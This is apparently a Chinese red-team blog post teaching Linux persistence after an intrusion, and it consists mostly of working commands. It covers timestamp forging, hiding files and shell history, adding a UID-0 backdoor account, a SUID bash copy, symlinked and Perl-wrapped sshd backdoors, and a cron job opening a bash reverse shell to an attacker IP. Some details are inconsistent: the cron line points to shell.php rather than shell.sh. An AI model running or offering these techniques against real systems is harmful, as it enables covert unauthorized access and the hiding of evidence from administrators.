作者名:白昼安全
主页面链接: 主页传送门
创作初心: 以后赚大钱
座右铭: 不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日鸡汤: 钱至少对于现在的我来说,的确是万能的
在红队行动中在网络中获得最初的立足点是一项耗时的任务。因此,持久性是红队成功运作的关键,这将使团队能够专注于目标,而不会失去与指挥和控制服务器的通信。所以,这就引出了我们今天要讲解的内容——权限维持
当然,权限维持我们也是分为windows和linux来讲,上篇文章我们讲到了windows的权限维持姿势,这篇文章就讲解的是Linux的权限维持姿势,这里的姿势也只是讲一些常见的,用的比较多的姿势来讲,希望博客的内容能够帮助到大家
权限维持简单来说就是怕我们好不容易拿到的权限因为用户的排查或者一些原因导致丢失,而如果我们能够将木马藏得够深,够隐蔽,让用户无法排除出来,这样就能让我们的木马一直在目标的电脑上,自然也就实现了权限维持
下面就来介绍几种隐藏木马的姿势
查看文件创建时间就是很多的安全人员排查异常文件的方式,也是通过ls -la命令就可以查看
可以看到这里显示time.txt文件是2月22日10:12创建的,这个也称为时间戳,而管理员一旦看到这么新的文件肯定会重点排查一下,这就让我们的木马暴露了
所以很多管理员会通过时间戳查看文件创建的时间,如果是最近创建的,那么就会去重点排查,而我们可以通过下面的命令修改木马的时间戳
touch -r 目标时间戳的文件 要修改时间戳的文件
这样就可以把其他文件的时间戳复制到我们想要修改时间戳的文件,例如:
可以看到这样就实现了对我们木马文件的时间戳的伪造,管理员就无法通过时间戳来查找我们的恶意文件
Linux中以"."(点号)开头的就是隐藏文件
而隐藏文件单纯使用ls是无法查看的,需要使用ls -la才能查看到,如下
可以看到我在该目录创建了一个.hiden.txt文件,再使用ls,并没有找到该文件,而使用ls -la命令就成功找到了刚才创建的.hiden.txt
而如果目标的管理员没有使用ls -la查看文件的一个习惯的话,就很可能找不到这个文件
Linux chattr命令用于改变文件属性。
这项指令可改变存放在ext2文件系统上的文件或目录属性,这些属性共有以下8种模式:
a:让文件或目录仅供附加用途。
b:不更新文件或目录的最后存取时间。
c:将文件或目录压缩后存放。
d:将文件或目录排除在倾倒操作之外。
i:不得任意更动文件或目录。
s:保密性删除文件或目录。
S:即时更新文件或目录。
u:预防意外删除。
这个操作就比较牛马,主要是用他的“i”选项,效果如下
可以看到当我们使用chattr命令的-i选项对目标文件锁定后就算root权限强制删除都无法删除这个文件
一些不懂的管理员甚至会以为这是系统自带的重要系统配置文件从而不去动
解决锁定的方法:
chattr -i 目标文件名
history命令就是显示命令历史记录的指令,如下
这样就可以发现一些攻击者在机器上执行的一些恶意命令,而就有可能发现我们创建的木马,所以我们就要想办法删除这个历史记录或者隐藏我们的输入,指令如下
set +o history
输入这个指令之后,后续输入的命令就不会被记录到history的回显结果中
也就是攻入目标系统之后,先输入这条指令再输入恶意攻击指令,我们的恶意攻击命令就不会被记录
在Linux中可以使用Last查看账号SSH登录情况
last|grep root
当我们用ssh进行登录时,就会记录,信息包括登录的账号,远程登录的主机,登录时间
ssh加上-T参数,可以进行隐藏登录记录,不被w、who、last等指令检测到
ssh -T -i id_rsa [email protected] /bin/bash -i
这个就是在目标机器留下一个高权限的用户,账密我们都知道,自然下次进来时就可以拿到权限了
步骤如下
1、创建一个名为test,密码为123456的root权限用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /home/test
2、创建之后直接使用root权限登录就可以了
步骤如下
生成加密后的密码,如下就是生成加密后的123456
perl -le 'print crypt('123456',"addedsalt")'
将加密结果写入passwd文件,这里就是test用户,密码为123456
echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >>/etc/passwd
suid shell 主要是方便提权,配合普通用户使用
使用之后就会让普通用户毫无压力提权,自然也达到了类似权限维持的效果,原理如下:
首先Linux系统上,都会有一个叫Bash的shell文件,这个时候我们可以把这个shell文件copy一份到另外一个文件夹
再把另外一个文件夹加上us(即suid)的一个权限
这样其他用户在登录时,利用suid就可以轻松提权
步骤如下
将文件复制出来
cp /bin/bash /tmp/shell
赋予suid权限
chmod u+s /tmp//shell
这样就设置成功了,我们再使用普通用户登录
执行刚才的文件
/tmp/shell -p
成功拿到权限·,效果如下
这个操作方式也比较简单,而且我之前写了一篇博客来介绍这种方法,博客链接如下
http://t.csdn.cn/ckgnp
这里就不多讲了,有兴趣的同学们去看看博客就行了
00 利用前提
ssh配置中开启了PAM进行身份验证
查看是否使用PAM进行身份验证:
cat /etc/ssh/sshd_config|grep UsePAM
为Yes即可使用
注意:如果你为root用户的话你也可以 手动将它开启
01总的利用步骤
ln -sf /usr/sbin/sshd /tmp/su ;/tmp/su -oPort=9999
#开启软链接,链接端口为9999
firewall-cmd --add-port=9999/tcp --permanent
#开启防火墙规则,不然会连接不上
firewall-cmd --reload
#重启防火墙服务
firewall-cmd --query-port=9999/tcp
#查看防火墙9999端口是否被放行,回显为YES即成功放行
ssh [email protected] -p 9999
#使用软链接登录,密码可以随便输入
(192.168.149.133为我环境中目标的ip)
原理:
首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell
简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
这个原理比较绕,我们也不需要深入的理解,只需要会利用就可以了,下面讲讲利用步骤
服务端(被攻击端)执行如下命令
cd /usr/sbin/
#进入sshd文件所在目录
mv sshd ../bin/
#将正常sshd文件移出
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
#将脚本写入新的sshd文件
chmod u+x sshd
#赋予文件执行权限
/etc/init.d/sshd restart
重启ssh服务
客户端执行如下命令
socat STDIO TCP4:目标ip:22,sourceport=13377
效果如下,成功连接上目标
又是这种熟悉的方式,相信大家都会了吧,在前面的windows提权,Linux提权,Windows权限维持中都讲到了这种方式,包括最开始使用redis创建计划任务反弹shell,所以这里我们就简单介绍一下利用方式就行了
1、创建一个sh脚本
,例如在/etc下创建了一个shell.sh的脚本,内容如下
#!/bin/bash
bash -i >& /dev/tcp/192.168.15.130/6666 0>&1
注意:这里的192.168.15.130为我们kali的攻击机的ip,端口为我们攻击机接收的端口,相当于控制目标主动来连我们
2、赋予执行权限
chmod +sx /etc/shell.sh
3、写入计划任务
vi /etc/crontab
打开计划任务文件
将下面的指令添加到该文件中,意思就是每分钟执行一次我们的恶意文件
*/1 * * * * root /etc/shell.php
4、重启计划任务
service crond restart
5、客户端开启监听
这时候在我们的kali攻击器开启监听就可以成功获取到目标反弹回来的权限